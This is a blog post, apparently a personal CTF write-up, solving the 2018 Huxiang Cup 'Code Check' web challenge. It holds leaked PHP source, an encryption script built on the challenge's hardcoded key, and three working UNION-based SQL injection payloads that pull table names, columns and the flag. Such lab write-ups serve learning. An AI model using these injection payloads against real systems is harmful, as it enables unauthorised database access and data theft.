11月23, 2018

CTF-web 笔记 9

湖湘杯 2018 web Code Check

比赛前一天修仙了,当天中午3点才起来签了个到,然后花了5个小时终于过了这题,算是实现了零的突破。

虽说最快的队伍只用了20分钟就过了这题,但这对于只是一个人的我来说已经很满意了。

赛后也看了大佬们的 wp,感觉写的很简略,对比起来,我写东西真的很“啰嗦”了。其实我写博客的一个原因就是加深记忆,写“啰嗦”一点,给自己留个清晰的印象,看客们看起来也舒服(虽然这玩意也就我自己看)。

环境已经被主办方关闭了,所以不上链接了。


PHP 代码审计

访问题目环境,发现滚动链接:

discover

访问:

new page

发现id的值是 Base64 编码过的,两次解码后得到乱码,说明在编码之前应该还有加密。

题目叫 Code Check 提示代码审计,尝试.swp.bak无果,挂机1小时。

后来访问/news/list.zip得到代码:

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
    mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
    $data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    if(substr(trim($data),-7)!=='hxb2018'){
        echo '<script>window.location.href="/index.php";</script>';
    }else{
        return substr(trim($data),0,strlen(trim($data))-7);
    }
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

这段代码对 GET 上来的id值两次 Base64 解码,然后进行 AES-128-CBC 解密,再过滤空格,最后检查是否以hxb2018结尾。

在这里发现了数字型 SQL 注入:

$sql="select id,title,content,time from notice where id=$id";

而且题目图片的名字也给了提示:

tips

数字型的注入算是最简单的了,但是 Payload 要先加密。于是在本地尝试写加密的代码,发现上述代码用到的 MCrypt 扩展库在我本地的 PHP 上运行不了,后来知道原来这玩意已经被淘汰了。

然后临时学了一波 PHP 的 OpenSSL,写了下面的代码,后面的 Payload 都由其加密:

<?php
    function encode($data){
        $data.='hxb2018';
        $data=openssl_encrypt($data,'AES-128-CBC','ydhaqPQnexoaDuW3',OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING,'2018201920202021');
        return base64_encode(base64_encode($data));
    }
    $id=encode($_GET['id']);
    echo $id;
?>

(OpenSSL 写起来明显舒服多了,MCrypt 活该被淘汰啊。)

写出来之后一直加密不成功,挂机半小时,后来发现明文长度为16的时候是可以加密成功的。

但16个字符,去掉后缀hxb2018只有9个字符。神仙只用9个字符注入啊?于是又挂机1小时。

再后来发现明文长度为16的倍数时都可以加密成功,于是看到了希望,就做出来了。


简单 SQL 注入

Payload 长度不足的话就用加号补全,凑成16的倍数,反正加号在 Url 解码后会转换成空格,然后会被过滤。

需要注意的是hxb2018占了其中的7位,算长度的时候要考虑进去。 SQL 语句中带有的空格也会被过滤,故使用/**/替换。

Payload1,查表名:

++++++++++++++0/**/union/**/select/**/1,1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1

加密后:

bkNHRWJQQjZHWE9oR2JWaXVhTVczQnZNMHB5YjA2SjM5QWN6TG4yRm8wN1kycWdVQVVjUzB3R1hMMHpLcStLVitTdGFhQno2aFFrVjBOaCttTGtzQnFoRUJ0Y28xT2NRTVdEZlFVYmZWUnJjRDBSWktZVDUydUNZKzNzNFF2cENtVVNEajZWbHY0dS9wckdaSVBUOEV0MmtyRjMyQ1lvcitPNDJVY25lTmZJb0JaY3J2Ui9rWEd1K29vd0g1WldOS2RFY0xJNCt1a1QybFJGZFhZOVNQUT09

结果:

inject

Payload2,在notice2表下查字段(中途查了另一个表,是账号和密码,但是没有什么用,浪费15分钟):

+++++++++++++++0/**/union/**/select/**/1,1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notice2'),1

加密后:

UjJIcWZ3dm91aFN0VExJR0ZiL2JpNFB5YTNnbmhOcXNWTlJLUVpkS2JIYk1URmFESXpsVWFLcnJEdzFRd05Fa1hhdmdLQ1h3MlV6d0ZQUHBCclJCM25mcVFyc0tabldJZlo5TW9uQ3FTNVo5b2QyYksydmx1Q2ZXU1REelpsRnRiYWJWOUFoV1NUcjdQK2dueSsxVU5MNnh3aDRRU0xpZVl2MFd2TzJNRjVIcmxkbmZTbFJhNk54N3pHdXNBaEIzOWI4czhIRlR3dEgyY3ppYTdoV3o0dz09

查出idtitle两个字段。

Payload3,在title字段下查询:

+++++++++0/**/union/**/select/**/1,1,(select/**/group_concat(title)/**/from/**/notice2),1

加密后:

bzB5LzZKZjh6enNwOWtpMnl5Rk9HY2VZQy9meG1nY3RBdDFIYTZEUkMwb0lVWmVLUHlPay9Qc0Z0Q3gyTmhYMkZvK0dNbkJKQVF0eVNiYUs2bTBaM280ZTNEQlp4QS94NzVCRU5TNXo5Mmc3RmhiNDYzZFlpTzlaSitQa29vK1M=

得到 flag:

flag

本文链接:https://blog.cindemor.com/post/ctf-web-9.html

-- EOF --